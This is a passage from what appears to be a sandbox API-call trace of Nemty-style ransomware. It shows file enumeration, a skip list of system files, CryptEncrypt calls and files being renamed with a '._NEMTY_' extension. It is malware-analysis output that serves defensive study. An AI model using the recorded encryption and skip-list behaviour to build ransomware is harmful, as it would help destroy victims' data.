CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16.png", lpUsedDefaultChar=0x0) returned 6 [0153.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16.png", lpUsedDefaultChar=0x0) returned 6 [0153.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16.png", lpUsedDefaultChar=0x0) returned 6 [0153.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.302] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16.png", lpUsedDefaultChar=0x0) returned 6 [0153.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0153.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0153.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0153.303] Sleep (dwMilliseconds=0x5) [0153.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf078e30, dwHighDateTime=0x1d561e8)) [0153.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf078e30, dwHighDateTime=0x1d561e8)) [0153.315] GetLastError () returned 0x5 [0153.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0153.315] GetLastError () returned 0x5 [0153.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0153.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0153.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0153.315] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0153.315] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0153.315] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0153.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0153.315] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="yPd3tOLZzo1lBckJZQcI9bB6PanDoQzxTJlr2ctRHLFKhGz56mA/yPE1I6+zVAA1\r\n0dy7kCjRD6MsmruXMX2pJasPicIT2tFNsbT5M8TPPz0pyDCvlnachDNE9UWtBnIY\r\nUraZ2gciNfUccPQYRPRet9STMhfn5Zfm8PCA0EmFU/W9cWWI02qdaTTafMNdR05S\r\nWY3/IHn9iHC2Cu4wOJJKxF/CLAFhVFAE1qODjfwuKqDu0TraFiRwM+uhdPhKka9d\r\nxHEvH6T694dHRiANnkpERzh/wrOHWykgBC4+ItB4I656gNlNuEDEkn/sEw47pgWA\r\nYZPjITGICc3+oAvkwS1SRQ==\r\n", pcchString=0x653e91c) returned 1 [0153.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0153.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0153.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0153.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0153.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0153.315] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0153.316] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0153.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0153.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.316] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.325] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.325] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.335] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.335] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.344] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.344] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.353] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.353] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.412] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.412] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0153.424] CloseHandle (hObject=0xffffffff) returned 0 [0153.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0153.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0153.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0153.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0153.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0153.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0153.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0153.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0153.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0153.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0153.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\16.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\16.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\16.png._nemty_kgobjgd_")) returned 0 [0153.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0153.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0153.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0153.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0153.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0153.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0153.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0153.424] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868814d4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868814d4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab03795, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c0e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="17.png", cAlternateFileName="")) returned 1 [0153.424] lstrcmpiW (lpString1="17.png", lpString2=".") returned 1 [0153.424] lstrcmpiW (lpString1="17.png", lpString2="..") returned 1 [0153.424] lstrcmpiW (lpString1="17.png", lpString2="...") returned 1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="windows") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="$RECYCLE.BIN") returned 1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="rsa") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="NTDETECT.COM") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="ntldr") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="MSDOS.SYS") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="IO.SYS") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="boot.ini") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="boot.ini") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="AUTOEXEC.BAT") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="ntuser.dat") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="desktop.ini") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="CONFIG.SYS") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="RECYCLER") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="BOOTSECT.BAK") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="bootmgr") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="programdata") returned -1 [0153.425] lstrcmpiW (lpString1="17.png", lpString2="appdata") returned -1 [0153.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="17.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="17.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="17.png", lpUsedDefaultChar=0x0) returned 6 [0153.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="17.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="17.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="17.png", lpUsedDefaultChar=0x0) returned 6 [0153.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="17.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="17.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="17.png", lpUsedDefaultChar=0x0) returned 6 [0153.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="17.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0153.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="17.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="17.png", lpUsedDefaultChar=0x0) returned 6 [0153.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0153.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0153.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0153.425] Sleep (dwMilliseconds=0x5) [0153.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf1a9930, dwHighDateTime=0x1d561e8)) [0153.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf1a9930, dwHighDateTime=0x1d561e8)) [0153.439] GetLastError () returned 0x5 [0153.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0153.439] GetLastError () returned 0x5 [0153.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0153.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0153.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0153.440] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0153.440] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0153.440] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0153.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0153.440] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="k9Tcm5FbFVBR81ROTP2z1bJJuoio9lVD4Un1EyD983Uq/MJlB31PmSygJe9TIXub\r\nLTYp6hOGGoQUDiQjZlyHjKFrDI6GVNqWdjcpK+Q5h+uGhrb4EtYmA7iiXaRTZN/z\r\nXA/tf5Yg9etmATg4CYMQxFjJngHMfMRX/0pc0AwbpS0Ub+qD6BqkggTP4LiTNFUh\r\nwsO6v+2R0EzWzy378JNjGHQ+cmcFO5GXkeKgP4pxoLEp6YjCd5NyLQLydZDkMTNH\r\nk/Nwwx/rEm0kqAiHHFRl8QN/FgIjE7xPk3UWhkn9W3EPCihxfnVDiaV0kWrf4Qe9\r\n9tg91DalxNlOaLhoTTDVpg==\r\n", pcchString=0x653e91c) returned 1 [0153.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0153.440] HeapFree (in: hHeap=0x4f90000, 